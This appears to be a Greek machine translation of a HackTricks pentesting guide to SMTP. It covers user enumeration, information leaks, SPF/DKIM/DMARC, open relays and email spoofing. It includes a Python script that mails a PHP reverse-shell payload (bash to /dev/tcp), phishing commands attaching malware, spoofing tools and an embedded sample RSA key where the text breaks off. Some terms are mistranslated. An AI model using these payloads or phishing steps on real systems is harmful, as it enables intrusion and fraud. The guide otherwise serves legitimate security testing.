hacktricks/network-services-pentesting/pentesting-smtp/README.md

600 lines
46 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 25,465,587 - Ελεγχος ασφάλειας SMTP/s
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Συνεργάτης AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & ελέγχο διείσδυσης**. Εκτελέστε έναν πλήρη έλεγχο διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους ελεγκτές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο για να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
## **Βασικές Πληροφορίες**
Το **Πρωτόκολλο Αποστολής Απλού Μηνύματος (SMTP)** είναι ένα πρωτόκολλο που χρησιμοποιείται στο πλαίσιο του TCP/IP για την **αποστολή και λήψη ηλεκτρονικού ταχυδρομείου**. Λόγω των περιορισμών του στην ουρά των μηνυμάτων στον παραλήπτη, το SMTP χρησιμοποιείται συχνά σε συνδυασμό με τα πρωτόκολλα **POP3 ή IMAP**. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε ένα κουτί ταχυδρομείου εξυπηρετητή και να τα κατεβάζουν περιοδικά.
Στην πράξη, είναι συνηθισμένο για τα **προγράμματα ηλεκτρονικού ταχυδρομείου** να χρησιμοποιούν το **SMTP για την αποστολή ηλεκτρονικών μηνυμάτων**, ενώ χρησιμοποιούν το **POP3 ή IMAP για τη λήψη** τους. Σε συστήματα βασισμένα σε Unix, το **sendmail** ξεχωρίζει ως ο πιο συχνά χρησιμοποιούμενος SMTP εξυπηρετητής για σκοπούς ηλεκτρονικού ταχυδρομείου. Το εμπορικό πακέτο γνωστό ως Sendmail περιλαμβάνει έναν εξυπηρετητή POP3. Επιπλέον, το **Microsoft Exchange** παρέχει έναν εξυπηρετητή SMTP και προσφέρει τη δυνατότητα να περιλαμβάνει υποστήριξη POP3.
**Προεπιλεγμένη θύρα:** 25,465(ssl),587(ssl)
```
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
```
### Κεφαλίδες EMAIL
Εάν έχετε την ευκαιρία να **κάνετε το θύμα να σας στείλει email** (μέσω φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί **μπορείτε να μάθετε για την εσωτερική τοπολογία** του θύματος βλέποντας τις κεφαλίδες του email.
Μπορείτε επίσης να λάβετε ένα email από έναν διακομιστή SMTP προσπαθώντας να **στείλει σε αυτόν τον διακομιστή ένα email σε μια μη υπαρκτή διεύθυνση** (επειδή ο διακομιστής θα στείλει στον επιτιθέμενο ένα μήνυμα NDN). Ωστόσο, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λαμβάνετε μηνύματα NDN.
Θα πρέπει επίσης να προσπαθήσετε να **στείλετε διαφορετικού περιεχομένου μηνύματα επειδή μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες** στις κεφαλίδες όπως: `X-Virus-Scanned: by av.domain.com`\
Θα πρέπει να στείλετε το αρχείο δοκιμής EICAR.\
Η ανίχνευση του **AV** μπορεί να σας επιτρέψει να εκμεταλλευτείτε **γνωστές ευπάθειες.**
## Βασικές ενέργειες
### **Ανάκτηση Banner/Βασική σύνδεση**
**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
Το SMTPS είναι η ασφαλής έκδοση του πρωτοκόλλου SMTP που χρησιμοποιεί κρυπτογράφηση για την προστασία των επικοινωνιών.
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Εύρεση διακομιστών MX μιας οργάνωσης
```bash
dig +short mx google.com
```
### Απαρίθμηση
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Διαρροή Πληροφοριών
Εάν ο διακομιστής υποστηρίζει την NTLM auth (Windows), μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες [**εδώ**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Ή **αυτοματοποιήστε** αυτό με το πρόσθετο **nmap** `smtp-ntlm-info.nse`
### Όνομα εσωτερικού διακομιστή - Διαρροή πληροφοριών
Κάποιοι διακομιστές SMTP συμπληρώνουν αυτόματα τη διεύθυνση αποστολέα όταν εκδίδεται η εντολή "MAIL FROM" χωρίς πλήρη διεύθυνση, αποκαλύπτοντας το εσωτερικό του όνομα:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Κατασκοπεία
Ελέγξτε αν κατασκοπεύετε κάποιον κωδικό πρόσβασης από τα πακέτα προς τη θύρα 25
### [Επίθεση με αναίρεση ταυτότητας](../../generic-methodologies-and-resources/brute-force.md#smtp)
## Απαρίθμηση με αναίρεση ονόματος χρήστη
**Η ταυτοποίηση δεν είναι πάντα απαραίτητη**
### RCPT TO
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
### Επαλήθευση (VRFY)
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
### EXPN
Η εντολή EXPN χρησιμοποιείται για να επιβεβαιώσει την ύπαρξη ενός συγκεκριμένου χρήστη στον SMTP server. Αν ο server είναι ρυθμισμένος να επιτρέπει την επιβεβαίωση χρηστών, η εντολή EXPN θα επιστρέψει το πλήρες όνομα του χρήστη. Αυτό μπορεί να είναι χρήσιμο για επιθέσεις social engineering ή για τη συλλογή πληροφοριών για μελλοντικές επιθέσεις.
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
```
### Αυτόματα εργαλεία
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελύφη και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
## Αναφορές DSN
**Αναφορές Ειδοποίησης Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε μια οργάνωση σε μια **μη έγκυρη διεύθυνση**, η οργάνωση θα ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **email πίσω σε εσάς**. Τα **headers** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η IP διεύθυνση των υπηρεσιών email που αλληλεπιδρούν με τις αναφορές ή πληροφορίες λογισμικού αντιιών).
## [Εντολές](smtp-commands.md)
### Αποστολή Email από την κονσόλα του Linux
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
```
```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Αποστολή Email με Python
<details>
<summary>Κώδικας σε Python εδώ</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>
## SMTP Λειτουργία Εκμετάλλευσης
Η ευπάθεια SMTP Εκμετάλλευσης επέτρεπε την παράκαμψη όλων των προστασιών SMTP (ελέγξτε την επόμενη ενότητα για περισσότερες πληροφορίες σχετικά με τις προστασίες). Για περισσότερες πληροφορίες σχετικά με την SMTP Εκμετάλλευση, ελέγξτε:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
## Αντιμέτωπα με την Πλαστογράφηση Ηλεκτρονικού Ταχυδρομείου
Οι οργανισμοί αποτρέπονται από το να αποστέλλουν μη εξουσιοδοτημένα ηλεκτρονικά μηνύματα εξ ονόματος τους χρησιμοποιώντας το **SPF**, **DKIM** και **DMARC** λόγω της ευκολίας πλαστογράφησης μηνυμάτων SMTP.
Ένας **πλήρης οδηγός για αυτές τις αντιμέτωπες μετρήσεις** είναι διαθέσιμος στο [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
{% hint style="danger" %}
Το SPF [ήταν "αποσυρμένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε ένα **εγγραφή TXT** στο `_spf.domain.com`, τη δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
Επιπλέον, για την επαναχρησιμοποίηση προηγούμενων εγγραφών spf είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
**Πλαίσιο Πολιτικής Αποστολέα** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Μεταφορείς Ηλεκτρονικού Ταχυδρομείου (MTAs) να επαληθεύουν εάν ένας υπολογιστής που αποστέλλει ένα email είναι εξουσιοδοτημένος ερωτώντας μια λίστα εξουσιοδοτημένων διακομιστών ηλεκτρονικού ταχυδρομείου που έχουν καθοριστεί από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, domains και άλλες οντότητες **εξουσιοδοτημένες να στείλουν email εξ ονόματος ενός ονόματος domain**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στην εγγραφή SPF.
#### Μηχανισμοί
Από την [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Μηχανισμός | Περιγραφή |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ΟΛΑ | Ταιριάζει πάντα· χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς. |
| Α | Αν το όνομα domain έχει εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να αναλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. |
| IP4 | Αν ο αποστολέας βρίσκεται σε συγκεκριμένο εύρος διευθύνσεων IPv4, ταιριάζει. |
| IP6 | Αν ο αποστολέας βρίσκεται σε συγκεκριμένο εύρος διευθύνσεων IPv6, ταιριάζει. |
| MX | Αν το όνομα domain έχει εγγραφή MX που αναλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή το email προέρχεται από έναν από τους εισερχόμενους διακομιστές email του domain). |
| PTR | Αν το όνομα domain (εγγραφή PTR) για τη διεύθυνση του πελάτη βρίσκεται στο δοθέν domain και το όνομα domain αναλύεται στη διεύθυνση του πελάτη (επιβεβαίωσης με αντιστροφή DNS), ταιριάζει. Αυτός ο μηχανισμός αποτρέπεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. |
| ΥΠΑΡΧΕΙ | Αν το δοθέν όνομα domain αναλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (ανεξάρτητα από τη διεύθυνση στην οποία αναλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο πολύπλοκα ταιριάματα όπως ερωτήσεις DNSBL. |
| ΣΥΜΠΕΡΙΛΑΒΕΤΑΙ | Αναφέρεται στην πολιτική ενός άλλου domain. Αν η πολιτική αυτού του domain περνά, περνάει και αυτός ο μηχανισμός. Ωστόσο, αν η περιλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να αναθέσετε πλήρως σε μια άλλη πολιτική domain, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. |
| ΑΝΑΚΑΤΕΥΘΩΣΗ | <p>Μια ανακατεύθυνση είναι ένας δείκτης προς ένα άλλο όνομα domain που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλά domains να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμο όταν εργάζεστε με μεγάλο αριθμό domains που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του domain που υποδεικνύεται στον μηχανισμό ανακατεύθυνσης θα χρησιμοποιηθεί.</p> |
Είναι επίσης δυνατό να αναγνωρίσετε **Ποιοτικούς Όρους** που υποδεικνύουν **τι πρέπει να γίνει αν ένας μηχανισμός ταιριάζει**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός "+"** (έτσι αν ταιριάζει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\
Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, πρέπει να επισημάνετε το email ως μη αξιόπιστο (\~) ή να απορρίψετε (-) το email.**
#### Ποιοτικοί Όροι
Κάθε μηχανισμός εντός της πολιτικής μπορεί να προηγηθεί από έναν από τους τέσσερις ποιοτικούς όρους για να ορίσει το επιθυμητό αποτέλεσμα:
* **`+`**: Αντιστοιχεί σε ΑΠΟΤΕΛΕΣΜΑ ΕΠΙΤΥΧΙΑΣ. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό όρο, κάνοντας το `+mx` ισοδύναμο με `mx`.
* **`?`**: Αντιπροσωπεύει ένα ΟΥΔΕΤΕΡΟ αποτέλεσμα, που χειρίζεται παρόμοια με το ΚΑΜΙΑ (καμία συγκεκριμένη πολιτική).
* **`~`**: Δηλώνει ΜΑΛΑΚΗ ΑΠΟΤΥΧΙΑ, λειτουργώντας ως μεσαίο έδαφος μεταξύ ΟΥΔΕΤΕΡΟ και ΑΠΟΤΥΧΙΑ. Τα email που πληρούν αυτό το αποτέλεσμα συνήθως γίνονται δεκτά αλλά επισημαίνονται ανάλογα.
* **`-`**: Υποδεικνύει ΑΠΟΤΥΧΙΑ, υποδηλώνοντας ότι το email θα πρέπει να απορριφθε
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Παραδοσιακά ήταν δυνατό να πλαστογραφηθεί οποιοδήποτε όνομα τομέα που δεν είχε έναν σωστό/κανένα SPF εγγραφή. **Σήμερα**, αν το **email** προέρχεται από ένα **τομέα χωρίς έγκυρη εγγραφή SPF** πιθανόν να απορριφθεί/επισημανθεί ως μη αξιόπιστο αυτόματα.
Για να ελέγξετε το SPF ενός τομέα μπορείτε να χρησιμοποιήσετε online εργαλεία όπως: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (DomainKeys Identified Mail)
Το DKIM χρησιμοποιείται για την υπογραφή εξερχόμενων emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται σε μια εγγραφή TXT του τομέα. Για να αποκτήσετε πρόσβαση σε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλογέα όσο και το όνομα τομέα.
Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα τομέα και ο επιλογέας είναι απαραίτητοι. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`.
Ένας κώδικας για την ανάκτηση αυτών των πληροφοριών μπορεί να μοιάζει με:
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
Το DMARC βελτιώνει την ασφάλεια του ηλεκτρονικού ταχυδρομείου βασιζόμενο στα πρωτόκολλα SPF και DKIM. Ορίζει πολιτικές που καθοδηγούν τους διακομιστές ταχυδρομείου στην διαχείριση των email από ένα συγκεκριμένο domain, συμπεριλαμβανομένου του τρόπου αντιμετώπισης των αποτυχιών πιστοποίησης και του προορισμού για την αποστολή αναφορών σχετικά με τις ενέργειες επεξεργασίας email.
**Για να λάβετε τον εγγραφή DMARC, πρέπει να ερευνήσετε τον υποτομέα \_dmarc**
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### Ετικέτες DMARC
| Όνομα Ετικέτας | Σκοπός | Δείγμα |
| -------- | --------------------------------------------- | ------------------------------- |
| v | Έκδοση πρωτοκόλλου | v=DMARC1 |
| pct | Ποσοστό μηνυμάτων υπόκειται σε φιλτράρισμα | pct=20 |
| ruf | URI αναφοράς για διαγνωστικές αναφορές | ruf=mailto:authfail@example.com |
| rua | URI αναφοράς συγκεντρωτικών αναφορών | rua=mailto:aggrep@example.com |
| p | Πολιτική για τον οργανισμό | p=quarantine |
| sp | Πολιτική για τα υποτομεία του ΟΔ | sp=reject |
| adkim | Λειτουργία ευθυγράμμισης για το DKIM | adkim=s |
| aspf | Λειτουργία ευθυγράμμισης για το SPF | aspf=r |
### **Τι γίνεται με τα Υποτομεία;**
**Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Χρειάζεστε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο επιθυμείτε να στείλετε email.\
Το παρακάτω αναρτήθηκε αρχικά στο openspf.org, το οποίο ήταν κάποτε μια εξαιρετική πηγή γι' αυτόν τον τύπο θεμάτων.
> Η Ερώτηση του Δαίμονα: Τι γίνεται με τα υποτομέα;
>
> Αν λάβω email από pielovers.demon.co.uk και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι ένας διαφορετικός πελάτης και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή. Αν ο Demon θέλει να το κάνει αυτό, μπορεί να δημιουργήσει εγγραφές SPF για κάθε υποτομέα.
>
> Έτσι, η συμβουλή προς τους εκδότες SPF είναι η εξής: πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα κεντρικού υπολογιστή που έχει μια εγγραφή A ή MX.
>
> Οι ιστότοποι με εγγραφές A ή MX με αντιστοίχιση χαρακτήρων θα πρέπει επίσης να έχουν μια εγγραφή SPF με αντιστοίχιση χαρακτήρων, της μορφής: \* IN TXT "v=spf1 -all"
Αυτό έχει νόημα - ένα υποτομέα μπορεί εύκολα να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει μια πολύ διαφορετική ορισμένη SPF.
### **Ανοιχτός Αναμεταδότης**
Όταν στέλνονται emails, είναι κρίσιμο να μην επισημαίνονται ως ανεπιθύμητα. Συχνά, αυτό επιτυγχάνεται μέσω της χρήσης ενός **αναμεταδότη διακομιστή που εμπιστεύεται ο παραλήπτης**. Ωστόσο, μια συνηθισμένη πρόκληση είναι ότι οι διαχειριστές ενδέχεται να μην είναι πλήρως ενήμεροι για τα **εύρη IP που είναι ασφαλή να επιτρέψουν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του διακομιστή SMTP, ένας κίνδυνος που εντοπίζεται συχνά σε αξιολογήσεις ασφαλείας.
Ένα παράκαμψη που χρησιμοποιούν μερικοί διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή υφιστάμενους πελάτες, είναι να **επιτρέπουν συνδέσεις από οποιαδήποτε διεύθυνση IP**. Αυτό επιτυγχάνεται με τη ρύθμιση της παραμέτρου `mynetworks` του διακομιστή SMTP για να δέχεται όλες τις διευθύνσεις IP, όπως φαίνεται παρακάτω:
```bash
mynetworks = 0.0.0.0/0
```
Για να ελέγξετε εάν ο διακομιστής ηλεκτρονικού ταχυδρομείου είναι ανοιχτός ανακατευτής (που σημαίνει ότι μπορεί να προωθήσει email από οποιαδήποτε εξωτερική πηγή), χρησιμοποιείται συνήθως το εργαλείο `nmap`. Περιλαμβάνει ένα συγκεκριμένο script σχεδιασμένο για να ελέγξει αυτό. Η εντολή για να πραγματοποιήσετε μια λεπτομερή σάρωση σε ένα διακομιστή (για παράδειγμα, με IP 10.10.10.10) στη θύρα 25 χρησιμοποιώντας το `nmap` είναι:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Εργαλεία**
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Έλεγχος για λανθάνουσες ρυθμίσεις SPF και DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Αυτόματη λήψη ρυθμίσεων SPF και DMARC**
### Αποστολή Πλαστού Email
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)
**Ή μπορείτε να χρησιμοποιήσετε ένα εργαλείο:**
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Αν λάβετε οποιοδήποτε σφάλμα χρησιμοποιώντας τη βιβλιοθήκη dkim της Python για την ανάλυση του κλειδιού, μπορείτε να χρησιμοποιήσετε το παρακάτω.\
**ΣΗΜΕΙΩΣΗ**: Αυτή είναι μια πρόχειρη επιδιόρθωση για γρήγορους ελέγχους σε περιπτώσεις όπου για κάποιο λόγο το ιδιωτικό κλειδί του openssl **δεν μπορεί να αναλυθεί από το dkim**.
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
